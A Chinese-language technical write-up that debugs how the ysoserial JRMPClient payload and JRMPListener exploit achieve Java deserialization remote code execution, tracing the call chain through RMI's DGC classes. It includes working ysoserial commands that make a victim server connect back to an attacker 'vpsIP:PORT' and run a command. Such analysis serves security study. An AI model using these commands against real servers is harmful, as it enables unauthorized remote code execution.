ysoserial payloads/JRMPClient
环境:JDK8u102
payloads/JRMPClient可以配合exploit/JRMPListener模块来使用
1.在自己服务器上使用exploit/JRMPListener来开启监听
2.把payloads/JRMPClient发送给对方服务器,对方服务器反序列化后会反向连接我们的服务器,进行连接之间我们服务器会发送payload给对方服务器进行反序列化执行命令。
以下是执行ysoserial时候使用的命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections7 "calc"
java -cp ysoserial.jar ysoserial.payloads.JRMPClient "vpsIP:PORT"
调试分析:
设置payloads/JRMPClient和exploit/JRMPListener的启动参数
JRMPClient的payload构造是在getObject方法中
前面几行是构造了反向连接所需要的一些对象,然后把ref传入了RemoteObjectInvocationHandler中,之后进行了一个动态代理,最后返回了proxy对象。
服务端那边就会把这个proxy进行反序列化,从而执行调用链进行反向连接。
这里有个知识点:
proxy的反序列化其实就是调用其InvocationHandler的readObject方法,而这里的InvocationHandler则是RemoteObjectInvocationHandler。
RemoteObjectInvocationHandler的readObject方法是调用其父类RemoteObject的readObject方法
进行了if判断,进入到了else中,然后执行了ref.readExternal(in);
这里的ref为UnicastRef,跟进UnicastRef#readExternal
继续跟进LiveRef#read
调用了DGCClient#registerRefs
这里进行了一个do...while,首先DGCClient$EndpointEntry.lookup方法,然后调用了var2.registerRefs(var1)
DGCClient#registerRefs
先看DGCClient$EndpointEntry.lookup方法
跟进DGCClient$EndpointEntry.lookup方法,看到调用了DGCClient#EndpointEntry方法
在DGCClient#EndpointEntry方法中,使用TCPEndpoint和DgcID创建了LiveRef对象,之后生成了DGCImpl_Stub代理对象( 其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的)
最后开启了与JRMPListener的Socket通信
DGCClient$EndpointEntry#registerRefs
回到前面的var2.registerRefs(var1)
这里的var2其实就是DGCClient$EndpointEntry
跟进DGCClient#registerRefs,在最后调用了DGCClient$EndpointEntry的makeDirtyCall方法
跟进makeDirtyCall方法,到205行,调用了DGCImpl_Stub#dirty
跟进DGCImpl_Stub#dirty(这里有个问题,这个DGCImpl_Stub其实是动态生成的类,无法调试,所以只能进源码直接看)
newCall是和 JRMPListener建立连接,write写入序列化数据,invoke用来处理服务端的数据,最后readObject来反序列化(前提是传过来的数据不是一个异常类)